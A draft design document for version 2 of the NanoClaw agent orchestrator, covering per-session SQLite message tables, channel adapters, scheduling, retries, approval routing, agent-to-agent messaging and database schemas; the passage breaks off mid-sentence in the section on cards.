v2 Architecture (Draft) + +## Core Idea + +Each agent session has a mounted SQLite DB. The DB is the one and only IO mechanism between host and container. No IPC files, no stdin piping. Two tables: messages_in (host → agent-runner) and messages_out (agent-runner → host). Everything is a message. + +## Two-Level DB + +**Central DB (host process):** +- Agent groups, conversations, routing tables +- Maps platform IDs → agent groups → sessions +- Channel adapters don't touch this directly — the host does the lookup + +**Per-session DB (mounted into container):** +- messages_in (written by host, read by agent-runner) +- messages_out (written by agent-runner, read by host) +- Everything is a message: chat, tasks, webhooks, system actions, agent-to-agent — all use these two tables +- One DB per session, not per agent group + +## Agent Groups vs Sessions + +An agent group has its own filesystem — folder, CLAUDE.md, skills, container config. Multiple sessions can share the same agent group (same filesystem, same skills) but each session gets its own DB mounted at a known path. Each session = a separate container with the same agent group's filesystem but a different session DB. + +## Message Flow + +``` +Platform event + → Channel adapter (trigger check, ID extraction) + → Returns: { platformChannelId, platformThreadId, triggered } + → Host maps platformChannelId + platformThreadId → agent group + session + → Host writes message to session's DB + → Host calls wakeUpAgent(session) + → Container spins up (or is already running) + → Agent-runner polls its session DB, finds new messages + → Agent-runner processes with Claude + → Agent-runner writes response to session DB + → Host polls active session DBs for responses + → Host reads response, looks up conversation, delivers through channel adapter +``` + +## Channel Adapters + +Channel adapters are responsible for: +1. Receiving platform events (webhooks, polling, websockets — platform-specific) +2. **Filtering**: deciding which messages to forward to the host for processing. This can be stateless (regex trigger match) or stateful (e.g., "was the bot mentioned in this thread at some point? If so, forward all subsequent messages"). The adapter receives a stream of unfiltered platform messages and decides which ones to pass on. How it decides is an implementation detail — NanoClaw doesn't know or care. +3. Extracting and standardizing two IDs: + - **Platform channel ID** — identifies the conversation (WhatsApp group, Slack channel, email thread) + - **Platform thread ID** — optional sub-context (Slack thread, GitHub PR comment thread) +4. Outbound delivery — sending responses back to the platform + +The channel adapter does NOT know about agent group IDs or session IDs. It returns platform-level identifiers. The host maps those to the entity model. + +The two-level ID scheme (channel ID + thread ID) gives flexibility: +- Want every Slack thread to be a separate session? Return unique thread IDs. +- Want all messages in a Slack channel to share a session? Return the same thread ID (or null). +- This is configured per-channel, not globally. + +### Channel Adapter Configuration + +Adapters are stateless — they receive config from the host at setup time, not from the DB directly. + +**What lives in code (per channel type, doesn't change at runtime):** +- Auto-registration behavior (enabled/disabled, how it works) +- Sender allowlist rules +- Whether allowlisted senders can auto-register groups +- Platform-specific connection and message handling + +These are decisions made when setting up the channel adapter. Change them = change the code. + +**What lives in the DB (per group, varies group to group):** +- Which agent group handles it +- Trigger / filter rules (regex, @mention-only, exclude certain senders, etc.) +- Response scope (respond to all messages vs only triggered/allowlisted) +- Session mode (shared vs per-thread) + +The host reads per-group config from the DB and passes it to the adapter at setup. If config changes at runtime (admin agent registers a new group, changes a trigger), the host calls the adapter's update method. + +### Auto-Registration + +When the adapter forwards a message from an unknown group, the host needs to decide whether to create the group and a session for it. + +**The adapter controls whether to forward unknown messages** — based on its code-level auto-registration rules (sender allowlist, group-add detection, etc.). If the adapter forwards it, the host creates the group + session. + +**Session creation for known groups:** +- Shared session mode: host finds the existing session or creates one if it's the first message +- Per-thread session mode: host looks up by threadId. If no session exists for this thread, auto-creates one with the same agent group + +**The code-level rules are channel-specific:** +- WhatsApp: if an allowlisted number adds the bot to a group → auto-register. If an unknown number DMs → depends on the adapter's configuration. +- Email: if the sender is known → auto-register the thread. If unknown → drop. +- Slack: if someone @mentions the bot in a new channel → adapter decides whether to forward based on its rules. + +No `channel_configs` table — channel-type-level behavior is baked into the adapter code. + +### Chat SDK Integration + +Chat SDK adapters are wrapped per-channel: +- Each Chat SDK adapter gets its own Chat instance +- Concurrency mode is configured per-channel (concurrent for chat, queue for tasks, debounce for webhooks) +- A bridge wraps the Chat instance + adapter to conform to NanoClaw's standard channel interface +- Chat SDK handles: webhook parsing, dedup, message history, platform API calls, rich content delivery +- NanoClaw handles: routing, agent lifecycle, session management + +**Chat SDK's subscription model:** + +Chat SDK has its own thread-level subscription concept (distinct from NanoClaw's channel-level registration): +- `onNewMention` / `onNewMessage(regex)` — fires on first contact (e.g., @mention in a Slack thread) +- `thread.subscribe()` — opts into all future messages in that thread +- `onSubscribedMessage` — fires for all messages in subscribed threads + +This is sub-channel granularity. NanoClaw registers at the channel level ("listen to this Discord channel"). Chat SDK subscribes at the thread level ("track this specific Slack thread"). The bridge lets Chat SDK manage its own subscriptions internally — NanoClaw doesn't interfere with or replicate this. + +**Platform capability differences:** + +Capabilities vary significantly across adapters (see [Chat SDK adapter docs](https://chat-sdk.dev/docs/adapters)): +- **Slack**: Full rich content (Block Kit cards, modals, streaming, reactions, ephemeral messages) +- **Discord**: Embeds, buttons, streaming via post+edit +- **WhatsApp (Cloud API)**: DMs only, interactive reply buttons, no streaming, no reactions +- **GitHub/Linear**: Markdown comments, no interactive elements +- **Telegram**: Inline keyboard buttons, streaming via post+edit + +The host/bridge handles graceful degradation — if an agent posts a card on a platform that doesn't support cards, it falls back to text. + +Non-Chat-SDK channels (WhatsApp via Baileys, Gmail, custom integrations) implement the NanoClaw channel interface directly — no bridge, no Chat SDK types. + +## Container Lifecycle + +The host is an orchestrator: +1. **Spawn** — when wakeUpAgent is called and no container exists for the session +2. **Idle kill** — when a container has no unprocessed messages for some timeout period +3. **Limits** — MAX_CONCURRENT_CONTAINERS caps active containers + +When a container spins up, the agent-runner immediately starts polling its session DB. Messages are already there waiting. + +## Media Handling + +### Inbound + +Media is not downloaded by the host. Instead: +- Messages include download URLs (signed URLs where possible) +- Agent-runner downloads and processes media inside the container +- For channels where signed URLs don't work (e.g., WhatsApp with buffered streams), the channel adapter downloads the media and serves it via a local URL/server that the container can access + +**Native content blocks (provider-dependent):** + +The agent-runner detects file types and passes supported types as native content blocks where the provider supports it: + +| Type | Claude | Codex | OpenCode | +|------|--------|-------|----------| +| Images (JPEG, PNG, GIF, WebP) | Native image content block | Save to disk, reference in prompt | Save to disk, reference in prompt | +| PDFs | Native document content block | Save to disk | Save to disk | +| Audio | Native audio content block | Save to disk | Save to disk | +| Other files (code, data, video, archives) | Save to disk | Save to disk | Save to disk | + +"Save to disk" means downloaded to `/workspace/downloads/{messageId}/` and referenced in the prompt text as an available file path. The agent can use tools (Read, Bash) to access it. + +The agent-runner builds the prompt differently per provider. For Claude, it constructs multi-part `MessageParam` content with image/document blocks. For Codex/OpenCode, everything is text with file path references. + +### Outbound + +Outbound file delivery is tool-based. The agent calls a tool (e.g., `send_file`) with a file path. The agent-runner moves the file to the outbox and writes the messages_out row. + +``` +/workspace/ + outbox/ + {message_id}/ ← one dir per messages_out row + chart.png + report.pdf +``` + +messages_out content references filenames only: + +```json +{ "text": "Here's the chart", "files": ["chart.png", "report.pdf"] } +``` + +No paths in the DB — the convention is the contract. The host reads files from `outbox/{message_id}/` in the mounted session folder and delivers them via the adapter (Chat SDK `FileUpload` with buffer data, or platform-specific upload for native channels). Host cleans up the outbox directory after successful delivery. + +Outbound files use a dedicated `send_file` MCP tool (separate from `send_message`). See [v2-agent-runner-details.md](v2-agent-runner-details.md) for the tool interface. + +### Message Deduplication + +Dedup is the channel adapter's responsibility. Chat SDK handles this internally. Native adapters track platform message IDs as needed. The host does not deduplicate — if the adapter forwards it, the host writes it. + +## Session DB Schema + +Two tables. JSON blobs for content — schema-free, format varies by `kind`. + +```sql +-- Host writes, agent-runner reads +CREATE TABLE messages_in ( + id TEXT PRIMARY KEY, + kind TEXT NOT NULL, -- 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system' + timestamp TEXT NOT NULL, + status TEXT DEFAULT 'pending', -- 'pending' | 'processing' | 'completed' | 'failed' + status_changed TEXT, -- ISO timestamp of last status change + process_after TEXT, -- ISO timestamp. NULL = process immediately. + recurrence TEXT, -- cron expression. NULL = one-shot. + tries INTEGER DEFAULT 0, -- number of processing attempts + + -- routing (agent-runner copies to messages_out; agent never sees these) + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + + -- payload (structure depends on kind) + content TEXT NOT NULL -- JSON blob +); + +-- Agent-runner writes, host reads +CREATE TABLE messages_out ( + id TEXT PRIMARY KEY, + in_reply_to TEXT, -- references messages_in.id (optional) + timestamp TEXT NOT NULL, + delivered INTEGER DEFAULT 0, + deliver_after TEXT, -- ISO timestamp. NULL = deliver immediately. + recurrence TEXT, -- cron expression. NULL = one-shot. + + -- routing (default: copied from messages_in by agent-runner) + kind TEXT NOT NULL, -- 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system' + platform_id TEXT, + channel_type TEXT, + thread_id TEXT, + + -- payload (format matches kind) + content TEXT NOT NULL -- JSON blob +); + +``` + +### Scheduling + +One-shot and recurring tasks use the same tables — no separate scheduler. + +**One-shot:** `process_after` (inbound) or `deliver_after` (outbound) with `recurrence = NULL`. + +**Recurring:** Same, plus a `recurrence` cron expression. After the host marks a row as handled/delivered, if `recurrence` is set, it inserts a new row with `process_after`/`deliver_after` advanced to the next cron occurrence. Next time is computed from the scheduled time (not wall clock) to prevent drift. + +**Host sweep** (every ~60s across all session DBs): +- `messages_in WHERE status = 'pending' AND (process_after IS NULL OR process_after <= now())` → wake agent +- `messages_in WHERE status = 'processing' AND status_changed < (now - stale_threshold)` → stale detection, increment tries, reset to pending with backoff +- `messages_out WHERE delivered = 0 AND (deliver_after IS NULL OR deliver_after <= now())` → deliver +- After completing/delivering a row with `recurrence`, insert next occurrence + +**Active container poll** (~1s) checks the same conditions but only for sessions with running containers. + +**Agent-runner creates schedules** by writing messages_in (to itself) or messages_out (reminders/notifications) with `process_after` and optionally `recurrence`. + +### messages_in content by kind + +**`chat`** — simple NanoClaw format. Any channel can produce this. +```json +{ + "sender": "John", + "senderId": "user123", + "text": "Check this PR", + "attachments": [{ "type": "image", "url": "https://signed-url..." }], + "isFromMe": false +} +``` + +**`chat-sdk`** — full Chat SDK `SerializedMessage`, passed through from bridge adapter. Includes `author`, `text`, `formatted` (mdast AST), `attachments`, `isMention`, `links`, `metadata`. + +**`task`** — scheduled task firing. +```json +{ "prompt": "Review open PRs", "script": "scripts/review.sh" } +``` + +**`webhook`** — raw webhook payload. +```json +{ "source": "github", "event": "pull_request", "payload": { ... } } +``` + +**`system`** — host action result (response to a system action the agent requested). +```json +{ "action": "register_group", "status": "success", "result": { "agent_group_id": "ag-456" } } +``` + +### messages_out content by kind + +Output `kind` determines the format and delivery adapter. Default: agent-runner copies `kind` and routing fields from the messages_in row it's responding to. + +**`chat`** — simple NanoClaw format. NanoClaw channel delivers via `sendMessage(text)`. +```json +{ "text": "LGTM, merging now" } +``` + +**`chat-sdk`** — Chat SDK `AdapterPostableMessage`. Bridge adapter delivers via `thread.post()`. Can be markdown, card, or raw — adapter handles platform conversion. +```json +{ "markdown": "## Review\n**LGTM**", "attachments": [...] } +``` +```json +{ "card": { "type": "card", "title": "Review", "children": [...] }, "fallbackText": "..." } +``` + +**`task`** — task result. Host logs and optionally notifies. +```json +{ "result": "3 PRs reviewed", "status": "success" } +``` + +**`webhook`** — webhook response. Host sends HTTP response or notifies. +```json +{ "response": { "status": 200, "body": { ... } } } +``` + +**`system`** — host action request (register group, reset session, etc.). Host reads, validates permissions, executes, writes result back as a `system` messages_in row. +```json +{ "action": "reset_session", "payload": { "session_id": "sess-123" } } +``` + +### Interactive Operations (Cards, Reactions, Edits) + +All interactive operations flow through messages_in/out — the DB is the only IO boundary for the container. The agent uses MCP tools; the agent-runner translates tool calls into structured messages_out rows; the host delivers through the appropriate adapter method. + +**Cards with user interaction (e.g., "Ask User Question"):** + +1. Agent calls `ask_user_question` tool with question + options +2. Agent-runner writes messages_out with the question card +3. Host delivers as interactive card through adapter (e.g., Slack Block Kit buttons) +4. User clicks an option +5. Platform sends event back to adapter → host writes messages_in with the response +6. Agent-runner reads messages_in, matches to pending tool call, returns selection to agent as tool result + +The agent-runner holds the tool call open while waiting for the user's response in messages_in. The round-trip goes: agent → messages_out → host → platform → user clicks → platform → host → messages_in → agent-runner → agent. + +**Approvals:** + +Two patterns, both handled at the host level: +- **Implicit**: Agent calls a tool that requires approval. Host intercepts, sends approval card to admin, waits for response, then executes or rejects. The agent doesn't know about the approval step. +- **Explicit**: Agent explicitly requests approval via a tool. Agent-runner writes the approval request to messages_out. Same flow as "ask user question" — response comes back through messages_in. + +In both cases, the approval and action execution happen on the host side, not the agent side. + +**Approval routing:** Each messaging group has a designated admin stored in the central DB (`messaging_groups.admin_user_id`). Default is whoever set up the group, can be reassigned. When an action requires approval, the host sends an approval card to the admin's DM conversation (not the channel the agent is operating in). The admin responds there, and the host relays the result back to the agent's session. Approval cards are host-generated (not agent-initiated) — they have a standardized format. + +> **TODO: flesh out** — How does the host find the admin's DM conversation? What happens if the admin hasn't set up a DM channel? Is the approval list configurable per agent group or global? + +**Editing a sent message:** + +Agent calls an `edit_message` tool with the message ID and new content. Agent-runner writes messages_out with an edit operation. Host calls `adapter.editMessage()`. Messages in the agent's context include integer IDs so the agent can reference them. + +**Reactions:** + +Agent calls `add_reaction` tool with message ID and emoji. Agent-runner writes messages_out with a reaction operation. Host calls `adapter.addReaction()`. + +**Operations in messages_out content:** + +```json +// Normal message (default) +{ "text": "LGTM" } + +// Interactive card +{ "operation": "ask_question", "question": "Approve deployment?", "options": ["Yes", "No", "Defer"] } + +// Edit existing message +{ "operation": "edit", "messageId": "3", "text": "Updated: LGTM with minor comments" } + +// Reaction +{ "operation": "reaction", "messageId": "5", "emoji": "thumbs_up" } +``` + +The host reads the `operation` field (if present) and calls the right adapter method. No operation field = normal message delivery. Platform capabilities vary — the host/bridge handles graceful degradation (e.g., reaction on a platform that doesn't support it → skip or send as text). + +### Agent-to-Agent Communication + +Sending a message to another agent uses the same routing fields as channel delivery. The agent-runner sets `channel_type: 'agent'` and `platform_id` to the target agent group ID. Optionally, `thread_id` can target a specific session (null = find or create the default session). + +From the sending agent's perspective, it's the same mechanism as sending to Slack or WhatsApp — just a messages_out row with different routing. The host reads it, checks that this agent group has permission to message the target, resolves the target session, and writes a messages_in row to that session's DB. + +```json +// messages_out routing fields +{ "kind": "chat", "channel_type": "agent", "platform_id": "pr-worker", "thread_id": null } +// messages_out content +{ "text": "Reset your session and re-review", "sender": "Supervisor", "senderId": "agent:pr-admin" } +``` + +The receiving agent gets a normal chat message. It doesn't need to know the source is another agent unless that's relevant context. + +### Routing + +**Default behavior:** Agent-runner copies routing fields (`kind`, `platform_id`, `channel_type`, `thread_id`) from the messages_in row to messages_out. Response goes back where it came from. + +**Host validation:** Before delivering, the host checks that this agent group is permitted to send to the destination. The agent-runner copies routing; the host validates. + +**Multi-destination pattern (customization):** An agent may need to send to a different channel than the origin (e.g., a webhook triggers a Slack notification). This is supported via custom code, not built into the core: + +1. Add a `destinations` table to the session DB mapping logical names to routing fields +2. Populate it from the host when setting up the session +3. Modify the agent's prompt to list available destinations +4. Agent chooses a destination by name; agent-runner resolves to routing fields +5. Host validates as usual + +This is documented as a pattern, not a built-in feature. + +## What Stays the Same +- Container isolation via filesystem mounts +- Credential proxy (OneCLI) +- Per-agent-group workspace (folder, CLAUDE.md, skills) +- Polling-based (not event-driven) +- Per-agent-group agent-runner recompilation on container startup (agent can modify its own source, request rebuild/restart, changes persist across teardowns) + +## What Changes + +| Component | v1 | v2 | +|-----------|----|----| +| Host ↔ container IO | stdin + IPC files | Mounted session DB (messages_in / messages_out) | +| Container input | Prompt string piped to stdin | Agent-runner polls messages_in | +| Container output | stdout markers | Agent-runner writes to messages_out | +| Agent commands | IPC JSON files | messages_out with `kind: 'system'` | +| Agent-to-agent | Not supported | messages_out with target agent routing | +| Scheduling | Separate scheduler + task table | `process_after` / `deliver_after` + `recurrence` on messages | +| Media | Not supported | Signed URLs, downloaded in container | +| Channel adapters | Custom per-platform | Chat SDK bridge + standard interface | +| Routing | Host checks registeredGroups map | Channel adapter extracts IDs, host maps to entities | +| Concurrency | GroupQueue (in-memory) | Chat SDK per-channel + container limits | +| Session scoping | One session per agent group folder | Per-session DB, multiple sessions per agent group | + +## Design Decisions + +**Session DB location:** Not in the agent group folder. Separate directory (e.g., `sessions/{session_id}/`). Each session gets its own folder containing `session.db` and the Claude SDK's `.claude/` directory. The session identity IS the folder — no need to track Claude SDK session IDs. + +**Container mount structure:** + +``` +/workspace/ ← mount: session folder (read-write) + .claude/ ← Claude SDK session data (auto-created) + session.db ← session SQLite DB + outbox/ ← agent-runner writes outbound files here + agent/ ← mount: agent group folder (nested, read-write) + CLAUDE.md ← agent instructions + skills/ ← agent skills + ... working files +``` + +Two directory mounts: session folder at `/workspace`, agent group folder at `/workspace/agent/`. The agent-runner CDs into `/workspace/agent/` to run the agent. Claude SDK writes `.claude/` at `/workspace/.claude/` (root of the workspace). The session DB is at `/workspace/session.db`. + +This works on both Docker (nested bind mounts) and Apple Container (directory mounts only — no file-level mounts, but nested directory mounts are supported). + +**Session DB concurrent access:** The host writes messages_in, the agent-runner writes messages_out. Both access the same SQLite file simultaneously. WAL mode handles this — SQLite allows concurrent readers, and the two sides write to different tables so writer contention is minimal. The host enables WAL mode when creating the session DB. + +**Session management:** Host-managed. The host creates session folders and mounts them. The container only sees its own session folder. + +**Session creation (no race condition):** + +1. Message arrives, host checks central DB for a session matching this group + thread +2. No session exists → host atomically creates session row in central DB, creates the session folder, creates the session DB, writes the message +3. More messages arrive before container starts → host finds the existing session, writes to the same session DB +4. Container starts, mounts the folder, agent-runner finds messages waiting + +The central DB session row creation is the serialization point. No Claude SDK session ID to coordinate — the SDK discovers its own session data in `.claude/` when the agent runs. + +**System actions:** The agent uses MCP tools (register group, reset session, schedule task, etc.). The agent-runner handles these tool calls and writes a structured, deterministic messages_out row with `kind: 'system'`. This is not natural language — it's a programmatic, structured payload that the host processes deterministically. Host validates permissions, executes, and writes the result back as a `system` messages_in row. + +**Container lifecycle:** No warm pool. Containers are spawned on demand (wakeUpAgent) and torn down from the outside by the host when idle. Existing idle detection + teardown mechanism carries over. + +## Operational Behavior + +### Output Delivery + +NanoClaw does not stream tokens to users. The Claude Agent SDK's `query()` yields complete results. The agent-runner writes one complete message to messages_out per result. The host delivers complete messages to channels. + +Message editing is supported as an explicit operation (agent calls an `edit_message` tool), not as a streaming mechanism. + +Typing indicators: host sets typing when a container is active for a session, clears when the container exits or a response appears in messages_out. + +### Message Batching + +When multiple messages arrive while the container is down, they accumulate as `handled = 0` rows in messages_in. When the container wakes up, the agent-runner queries all unhandled messages and processes them as a batch — same as v1 where multiple messages are formatted into a single `` XML block. + +### Message Lifecycle + +``` +pending → processing → completed + → failed (after max retries) +``` + +- **pending**: Written by host. Ready to be picked up (if `process_after` is null or past). +- **processing**: Agent-runner sets this when it picks up the message. `status_changed` is set to now. Prevents other polls from re-picking the same message. +- **completed**: Agent-runner sets this after successful processing. +- **failed**: Set after max retries exhausted. + +**Stale detection**: If a message is `processing` but `status_changed` is too old (e.g., >10 minutes), the host assumes the container crashed. It resets the message to `pending`, increments `tries`, and sets `process_after` with exponential backoff. + +### Error Handling and Retries + +Retries use `process_after` with exponential backoff. Each retry increments `tries` and pushes `process_after` further out: + +- Try 1: immediate +- Try 2: +5s +- Try 3: +10s +- Try 4: +20s +- Try 5: +40s +- After max retries: status set to `failed` + +The host computes this — not the agent-runner. When the host detects a stale `processing` message or the container exits with an error, it increments `tries`, computes the next `process_after`, and resets status to `pending`. + +**Output-sent protection**: If messages_out already has delivered rows for a batch, don't retry (prevents duplicate messages to user). + +### Host Polling + +Two tiers: +- **Active containers (~1s)**: Poll session DBs for new messages_out rows to deliver +- **All sessions (~60s)**: Sweep all session DBs for due `process_after` / `deliver_after` timestamps, handle recurrence + +## Flexibility Model + +The architecture is **flexible for code changes, not configurable for everything**. Advanced setups (like the PR Factory below) use custom routing logic and host-side hooks — not database config columns. + +### What the base architecture must support primitively + +These are the building blocks. None require special abstractions — they fall out of per-session DBs, host-managed routing, and messages_out with `kind: 'system'`: + +1. **Multiple agent groups on the same channel with content-based routing.** Different messages in the same thread can route to different agent groups based on content (e.g., @mention routes to supervisor, normal messages route to worker). The channel adapter's routing logic — custom code — decides. + +2. **Per-thread sessions from a shared agent group.** Multiple sessions share the same agent group (filesystem, skills, CLAUDE.md) but each gets its own session DB. Standard for worker pools. + +3. **Session reset and replay.** Create a new session for the same thread. Mark old messages as unhandled so the poll picks them up again. Old output stays visible in the platform (e.g., Discord thread) for comparison. This is an action an agent can request — not automatic. + +4. **Cross-session read access.** Some agents can query other sessions' data. Different access levels: manager sees messages_in/messages_out (review content). Supervisor sees full internals (agent logs, tool calls, debug traces). This is just filesystem/DB access — mount or query the right paths. + +5. **Context duplication into new sessions.** When a supervisor is invoked in a worker's thread, a new session is created with relevant messages copied in. Custom host-side code handles this. + +6. **Agent-initiated host actions.** The agent uses MCP tools (reset session, update skills, etc.). The agent-runner handles the tool call and writes a structured `system` messages_out row. The host reads and executes with permission checks. The agent can request, but the host decides. + +### Example: PR Factory + +Three agent groups, one Discord channel (PR Factory), plus an admin channel: + +| Role | Agent Group | Where | Session model | +|------|-------------|-------|---------------| +| **Worker** | pr-worker | PR Factory threads | One session per thread (per PR) | +| **Manager** | pr-manager | PR Factory channel | Single session, queries across worker sessions | +| **Supervisor** | pr-admin | Admin channel + PR Factory (when @tagged) | Main session in admin channel; per-thread session when invoked in worker threads | + +**Worker flow:** GitHub PR → Discord thread → worker agent reviews (triage, review, test plan). Each thread gets a session from the shared pr-worker group. + +**Feedback flow:** User @tags supervisor in worker threads → custom routing sends to supervisor with a new session containing the thread's messages (duplicated). Supervisor collects feedback to filesystem. Worker doesn't see supervisor messages. + +**Iteration flow:** User discusses feedback with supervisor in admin channel → supervisor suggests skill changes (shown as rich card with diff) → user approves → supervisor applies changes via host action → supervisor requests session reset + replay → workers re-review same PRs with updated skills in same threads but fresh sessions → user compares reviews side by side. + +**Manager flow:** User talks to manager in PR Factory main channel (not in threads). Manager can search across all worker session DBs (messages_in/messages_out) to answer questions like "how many PRs today?" or "what topics are trending?" Can request actions (close PR, re-open). + +**What's custom code vs. base architecture:** + +| Capability | Base architecture | Custom code (PR Factory) | +|-----------|-------------------|-------------------------| +| Per-thread sessions | ✓ platformThreadId → session | | +| Shared agent group across sessions | ✓ Multiple sessions, one group | | +| Writing messages to session DB | ✓ Standard flow | | +| @mention routing to different agent | | ✓ Channel adapter routing logic | +| Context duplication into supervisor session | | ✓ Host-side hook on supervisor invocation | +| Session reset + replay | ✓ Primitives (new session, mark unhandled) | ✓ Supervisor action triggers it | +| Skill updates | ✓ Filesystem writes | ✓ Supervisor action applies changes | +| Cross-session queries | ✓ DB/filesystem access | ✓ Manager's tools know where to look | +| Rich card output | ✓ Structured output in messages_out | | + +## Central DB Schema + +The central DB handles routing and entity management. All content and execution state lives in per-session DBs. + +```sql +-- Agent workspaces: folder, skills, CLAUDE.md, container config +CREATE TABLE agent_groups ( + id TEXT PRIMARY KEY, + name TEXT NOT NULL, + folder TEXT NOT NULL UNIQUE, + is_admin INTEGER DEFAULT 0, + agent_provider TEXT, -- default for sessions (null = system default) + container_config TEXT, -- JSON: { additionalMounts, timeout } + created_at TEXT NOT NULL +); + +-- Platform groups/channels (WhatsApp group, Slack channel, Discord channel, email thread, etc.) +CREATE TABLE messaging_groups ( + id TEXT PRIMARY KEY, + channel_type TEXT NOT NULL, -- 'whatsapp', 'slack', 'discord', 'telegram', 'email' + platform_id TEXT NOT NULL, -- platform-specific ID (JID, channel ID, etc.) + name TEXT, + is_group INTEGER DEFAULT 0, + admin_user_id TEXT, -- platform user ID of the group admin (default: whoever set it up) + created_at TEXT NOT NULL, + UNIQUE(channel_type, platform_id) +); + +-- Which agent groups handle which messaging groups, with what rules +CREATE TABLE messaging_group_agents ( + id TEXT PRIMARY KEY, + messaging_group_id TEXT NOT NULL REFERENCES messaging_groups(id), + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + trigger_rules TEXT, -- JSON: { pattern, mentionOnly, excludeSenders, includeSenders } + response_scope TEXT DEFAULT 'all', -- 'all' | 'triggered' | 'allowlisted' + session_mode TEXT DEFAULT 'shared', -- 'shared' | 'per-thread' + priority INTEGER DEFAULT 0, -- higher = checked first when multiple agents match + created_at TEXT NOT NULL, + UNIQUE(messaging_group_id, agent_group_id) +); + +-- Sessions: one folder = one session = one container when running +-- Folder path is derived: sessions/{agent_group_id}/{session_id}/ +CREATE TABLE sessions ( + id TEXT PRIMARY KEY, + agent_group_id TEXT NOT NULL REFERENCES agent_groups(id), + messaging_group_id TEXT REFERENCES messaging_groups(id), -- null for internal/spawned sessions + thread_id TEXT, -- platform thread ID (null for shared session mode) + agent_provider TEXT, -- override per session (null = inherit from agent_group) + status TEXT DEFAULT 'active', -- 'active' | 'closed' + container_status TEXT DEFAULT 'stopped', -- 'running' | 'idle' | 'stopped' + last_active TEXT, -- last message activity timestamp + created_at TEXT NOT NULL +); +CREATE INDEX idx_sessions_agent_group ON sessions(agent_group_id); +CREATE INDEX idx_sessions_lookup ON sessions(messaging_group_id, thread_id); + +-- Pending interactive questions (cards waiting for user response) +-- Host writes when delivering a question card, deletes when response received +CREATE TABLE pending_questions ( + question_id TEXT PRIMARY KEY, + session_id TEXT NOT NULL REFERENCES sessions(id), + message_out_id TEXT NOT NULL, -- the messages_out row that sent the card + platform_id TEXT, -- where the card was delivered + channel_type TEXT, + thread_id TEXT, + created_at TEXT NOT NULL +); +``` + +### Pending Question Flow + +When the host delivers a messages_out row with `operation: 'ask_question'`: +1. Host delivers the card via the channel adapter +2. Host writes a `pending_questions` row mapping `question_id` → `session_id` + +When a Chat SDK `ActionEvent` (button click) arrives: +1. Bridge extracts `actionId` from the event +2. Host looks up `pending_questions` by `question_id` (derived from actionId — the bridge maintains the mapping) +3. Host finds the target session, writes a messages_in row with `questionId` + `selectedOption` +4. Host deletes the `pending_questions` row +5. Agent-runner picks up the messages_in row, matches to the pending tool call, returns the selection + +This avoids scanning session DBs. The central DB is the routing lookup — same pattern as message routing. + +Also used for host-generated approval cards: when the host sends an approval request to the admin's DM, it writes a `pending_questions` row. The admin's response is routed back to the originating session. + +### Container lifecycle states + +``` +stopped → running → idle → stopped + ↗ + idle → running (new message while warm) +``` + +- **stopped**: No container. Swept at 60s for due scheduled messages. +- **running**: Actively processing. Polled at 1s for messages_out. +- **idle**: Done processing, container still warm (up to 30 min timeout). Polled at 1s so new messages are picked up quickly. +- After idle timeout → host kills container → stopped. + +### Migration from v1 + +| v1 table | v2 | +|----------|-----| +| `registered_groups` | Split into `agent_groups` + `messaging_groups` + `messaging_group_agents` | +| `chats` | Absorbed into `messaging_groups` | +| `messages` | Content moves to per-session DBs (messages_in) | +| `sessions` (folder → sdk_session_id) | New `sessions` table (folder derived from ID) | +| `scheduled_tasks` | Moved to per-session DBs (messages_in with recurrence) | +| `task_run_logs` | Dropped — results are in session DB messages_out | +| `router_state` | Dropped — replaced by message status in session DBs | + +## Agent-Runner Architecture + +The agent-runner is the process inside the container. It mediates between the session DB and the Claude SDK — polling for work, formatting messages for the agent, translating tool calls into DB rows, and managing the agent lifecycle. + +### IO Model + +All IO goes through the session DB. No stdin, no stdout markers, no IPC files. + +| v1 | v2 | +|----|----| +| Initial input from stdin (JSON envelope) | Poll `messages_in` | +| Follow-up messages from IPC files | Same poll — new rows appear | +| Output via stdout markers | Write `messages_out` rows | +| MCP tools write IPC files | MCP tools write DB rows | +| `_close` sentinel signals shutdown | Host kills container (idle timeout) or agent-runner exits when no pending work | + +### Poll Loop + +1. Query `messages_in WHERE status = 'pending' AND (process_after IS NULL OR process_after <= now())` +2. If rows found: set `status = 'processing'`, `status_changed = now()` on each +3. Batch messages into a single prompt (strip routing fields, format by kind) +4. Push into Claude SDK's MessageStream +5. Process agent output → write `messages_out` rows +6. Set processed messages to `status = 'completed'` +7. Back to step 1. If no messages found, sleep briefly and re-poll (container stays warm for idle timeout) + +### Message Formatting by Kind + +Agent-runner strips routing fields (`platform_id`, `channel_type`, `thread_id`) before formatting. The agent never sees routing info — it only sees content. + +- **`chat`** — format into `` XML block (same as v1) +- **`chat-sdk`** — extract text, author, attachments from serialized message; format into `` XML +- **`task`** — format as `[SCHEDULED TASK]` prefix + prompt. Run pre-script if present (same as v1). +- **`webhook`** — format as `[WEBHOOK: source/event]` + JSON payload +- **`system`** — host action results (e.g., "register_group succeeded"). Format as system context, not chat. + +Mixed batches (e.g., a chat message + a system result both pending) are combined into one prompt with clear delimiters. + +### MCP Tools + +All v1 IPC-file-based tools are replaced with direct DB writes. + +**Carried over (new implementation):** + +| Tool | What it does | +|------|-------------| +| `send_message` | Write `messages_out` row, `kind: 'chat'` | +| `send_file` | Move file to `outbox/{msg_id}/`, write `messages_out` with filenames | +| `schedule_task` | Write `messages_in` row (to self) with `process_after` + `recurrence`. Or `messages_out` with `deliver_after` for outbound reminders. | +| `list_tasks` | Query `messages_in WHERE recurrence IS NOT NULL` | +| `pause_task` / `resume_task` / `cancel_task` | Modify `messages_in` rows (update status, clear/set recurrence) | +| `register_agent_group` | Write `messages_out`, `kind: 'system'`, `action: 'register_agent_group'` | + +**New tools:** + +| Tool | What it does | +|------|-------------| +| `ask_user_question` | Write `messages_out` with question card. Hold tool call open, poll `messages_in` for response matching `questionId`. Return selection as tool result. | +| `edit_message` | Write `messages_out` with `operation: 'edit'` | +| `add_reaction` | Write `messages_out` with `operation: 'reaction'` | +| `send_to_agent` | Write `messages_out` with `channel_type: 'agent'`, `platform_id: '{target}'` | +| `send_card` | Write `messages_out` with card structure | + +See [v2-agent-runner-details.md](v2-agent-runner-details.md) for full MCP tool parameter definitions. + +### Cards + +**Agent-initiated (outbound):** Tool-based. Agent calls `ask_user_question` (interactive card with options) or `send_card` (structured card). Agent-runner writes the card structure to messages_out. Host/adapter handles platform-specific rendering (Slack Block Kit, Discord 